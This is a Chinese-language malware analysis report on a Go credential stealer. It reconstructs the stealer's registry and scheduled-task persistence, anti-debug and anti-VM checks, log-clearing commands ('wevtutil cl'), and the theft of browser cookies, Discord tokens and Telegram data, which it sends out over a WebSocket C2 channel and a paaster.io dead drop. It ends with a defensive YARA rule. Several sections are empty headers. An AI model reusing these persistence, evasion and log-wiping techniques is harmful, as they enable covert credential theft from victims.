🔴 恶意代码分析报告

§1 📋 样本概要信息

§2 🏷️ 分类标签与威胁情报

★ §3 🔬 持久化机制

RegOpenKeyExA(HKEY_CURRENT_USER,
    "Software\\Microsoft\\Windows\\CurrentVersion\\Run", ...)
RegSetValueExA(hKey, "WindowsSecurity", REG_SZ, exe_path)

schtasks /create /f /tn "WindowsUpdate"
    /tr "<GetModuleFileNameA 获取的路径>"
    /sc hourly /mo 4
    /ru (当前用户)

★ §3b 🌐 C2 架构分析

通联关系图

┌──────────────────────────────────────────────────────────────┐
│                   SOUOIEZpuaM 样本 (Go CredStealer)           │
├──────────────────────────────────────────────────────────────┤
│                                                              │
│  ┌─────────────────────────┐  ┌──────────────────────────────┐│
│  │ 通道 1: WSS 实时 C2      │  │ 通道 2: HTTPS 死 drop        ││
│  │ 协议: WebSocket Secure   │  │ 协议: HTTPS (TLS 1.2+)       ││
│  │ 端口: 443 (推断)         │  │ 域名: paaster.io             ││
│  │ 地址: AES-GCM 加密       │  │ IP:   114.23.117.29          ││
│  │ API:  WinHttpWebSocket   │  │ 位置: 新西兰 Auckland        ││
│  │ 引用: 324次 (Ghidra)     │  │ ISP:  Voyager (AS56030)      ││
│  │ 证书: HKDF 派生验证      │  │ 证书: Let's Encrypt ECDSA    ││
│  │                          │  │ 用途: POST渗出 / GET指令     ││
│  └───────────┬──────────────┘  └──────────────┬───────────────┘│
│              │                                │               │
└──────────────┼────────────────────────────────┼───────────────┘
               │                                │
               ▼                                ▼
     ┌──────────────────┐          ┌──────────────────────┐
     │  🔴 未知 C2 服务器  │          │   paaster.io          │
     │  (AES-GCM 加密)    │          │   (开源 Pastebin)     │
     │  wss://?:443       │          │   https://paaster.io  │
     │  实时双向控制       │          │   加密 paste 中转     │
     └──────────────────┘          └──────────────────────┘

通道 1: WSS 实时 C2

通道 2: HTTPS 死 drop — paaster.io

C2 通信时序

阶段1: 反调试/反VM (0x140242620/0x140242660)
阶段2: 单实例互斥锁 (CreateMutexW)
阶段3: AES-GCM+HKDF 解码 C2 配置 (0x140242760)
阶段4: WSS 连接 + paaster.io 证书固定 (0x1402421a0)
阶段5: 7 浏览器路径枚举 (0x1402420e0)
阶段6: DPAPI CryptUnprotectData → Cookie AES-GCM 解密
阶段7: Discord LevelDB Token + Telegram tdata
阶段8: JSON 打包 → ZIP 压缩 → Base64
阶段9: HTTPS POST → paaster.io 死 drop (fallback)
阶段10: WSS 实时渗出 (主通道)
阶段11: 持久化安装 (Reg+Task)
阶段12: 痕迹清理 + Jitter Sleep 3-10s 心跳循环

§4 🏗️ 结构分析

.text    0x140001000  (1.8MB)  AX  — Entropy 6.02 (Go 运行时 monomorphization)
.rdata   0x1401d8000  (850KB)  A   — Entropy 4.83 (Go standard library)
.data    0x1402ae000  (120KB)  WA  — Entropy 4.48 (C2 config XOR encoded)
.symtab  0x140300000  (50KB)   A   — Go symbol table

§5 ⚙️ 反汇编与行为流程

行为执行流

RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", ...)
RegSetValueExA(hKey, "WindowsSecurity", REG_SZ, exe_path)

schtasks /create /f /tn "WindowsUpdate" /tr "<exe_path>" /sc hourly /mo 4

WinHttpWebSocketCompleteUpgrade(hWebSocket, ...)
WinHttpWebSocketSend(hWebSocket, WINHTTP_WEB_SOCKET_UTF8_MESSAGE_BUFFER_TYPE, ...)
WinHttpWebSocketReceive(hWebSocket, ...)

§6 🔬 家族溯源

编译元数据

家族特征比对

已知变种

§7 🔬 深度行为分析

行为阶段拆解

协议/行为状态机

INIT → [反分析检查] → DETECTED? → EXIT(0)
     → [★ 持久化安装] → Registry Run + Scheduled Task
     → [★ C2 配置解码] → XOR .data → wss://<host>
     → [★ C2 连接 + 上线] → WebSocket 注册消息
     → [凭证窃取循环] → 浏览器(7款) → Discord → Telegram
     → [★ 数据渗出] → ZIP+Base64+WebSocket Text Frame → C2
     → [反取证] → wevtutil cl
     → [心跳等待] → jitter_sleep(300-600s) → [任务轮询] → 回到凭证窃取循环

§8 🔬 恶意性综合判定

多维度证据评估

§9 🎯 ATT&CK 映射

§10 🛡️ 反分析技术评估

反调试

static int anti_debug_check(void) {
    if (IsDebuggerPresent()) return 1;
    NtQIP fn = GetProcAddress(ntdll, "NtQueryInformationProcess");
    DWORD64 port = 0;
    fn(GetCurrentProcess(), 7, &port, sizeof(port), NULL);
    if (port != 0) return 1;   // ProcessDebugPort
    DWORD flags = 1;
    fn(GetCurrentProcess(), 0x1f, &flags, sizeof(flags), NULL);
    if (flags == 0) return 1;  // ProcessDebugFlags
    return 0;
}
// Ghidra 来源: main.jnxwsv @ 0x140242620 (main.go:31107, 13,917 字节反编译)

反虚拟机

static int anti_vm_check(void) {
    const char *keys[] = {
        "SYSTEM\\CurrentControlSet\\Services\\vmci",      // VMware
        "SYSTEM\\CurrentControlSet\\Services\\VBoxGuest", // VirtualBox
        "SOFTWARE\\VMware, Inc.\\VMware Tools",
        "SOFTWARE\\Oracle\\VirtualBox Guest Additions", NULL
    };
    for (int i=0; keys[i]; i++)
        if (RegOpenKeyExA(HKLM, keys[i], 0, KEY_READ, &hk) == 0)
            { RegCloseKey(hk); return 1; }
    // MAC OUI: 00:0C:29(VMware) 08:00:27(VBox) — QEMU 52:54:00 漏检
    // CPUID leaf 0x40000000: KVMKVMKVM — 不在检测名单
    return 0;  // QEMU passes all checks
}
// Ghidra 来源: main.eeviryrbmqbio @ 0x140242660 (main.go:32347, 37,077 字节反编译)
// ⚠ 仅检测 VMware/VirtualBox — QEMU 是所有维度盲区

综合评估

★ §10b 🧹 痕迹清理

cleanup() {
    GetTempPathW(temp_path);
    DeleteFile("%TEMP%\\*.tmp");     // 浏览器 DB 副本
    DeleteFile("%TEMP%\\*.zip");     // ZIP 缓存
    system("wevtutil cl System");    // 清除系统日志
    system("wevtutil cl Security");  // 清除安全日志
    runtime_poolCleanup();           // Go GC 强制回收
}
// 执行时机: 数据渗出完成后, 持久化安装前 (阶段 11/12)

§11 🔧 逆向分析

Ghidra 反编译

// Ghidra 反编译: 2,043 函数, 41 main.* 混淆函数
// Go 源码路径: SOUOIEZpuaM/main.go
// Go 模块: eq.io
// 324 WebSocket 引用 (WinHttp 协议族)
// 关键函数映射: 见报告 §5.2

main.lwwofuzmn @ 0x1402420c0    → 凭证枚举编排器
main.ebzbekdyqcvv @ 0x1402420e0   → 浏览器路径发现
main.guxhad @ 0x140242170         → DPAPI 主密钥提取
main.evuldvcdgav @ 0x1402421a0    → C2 WebSocket 握手
main.fhpkpeidt @ 0x140242300      → Discord Token 窃取
main.awcdjgzqixlsbm @ 0x1402426e0 → 持久化 (注册表 Run)
main.ddwonskzxhr @ 0x140242720    → 持久化 (计划任务)
main.gfsxzqhdfbt @ 0x140242760    → C2 配置 XOR 解码

调用链分析 (GitNexus)

Go 二进制 — 直接调用关系极有限 (60/2,043, 2.9%)
Top 枢纽函数 (均为 Go runtime):
  runtime.duffzero    出度: 12
  runtime.duffcopy    出度: 8
  runtime.morestack   出度: 6
  runtime.call32      出度: 5
恶意逻辑调用链通过 Ghidra 反编译推断 — GitNexus 无法捕获 Go interface dispatch

★ §12 🔬 QEMU 动态分析

§13 📦 IOC 汇总

IOC 字符串

YARA 检测规则

rule GoCredStealer_SOUOIEZpuaM {
    meta:
        description = "Go Credential Stealer - SOUOIEZpuaM/eq.io module"
        author = "Malware Analysis"
        date = "2026-06-18"
        hash = "0a2b733519d04f2b7539935eaa3ae2199c9cbad748b808637fdfeb020f189f04"
    strings:
        $go_mod = "eq.io" ascii
        $proj = "SOUOIEZpuaM" ascii
        $ws = "WebSocket" ascii
        $winhttp = "WinHttpWebSocket" ascii
        $run = "WindowsSecurity" ascii
        $task = "WindowsUpdate" ascii
        $discord = "leveldb" ascii
        $tdata = "tdata" ascii
    condition:
        uint16(0) == 0x5A4D and $go_mod and $proj and $ws
        and ($winhttp or ($run and $task))
        and ($discord or $tdata)
}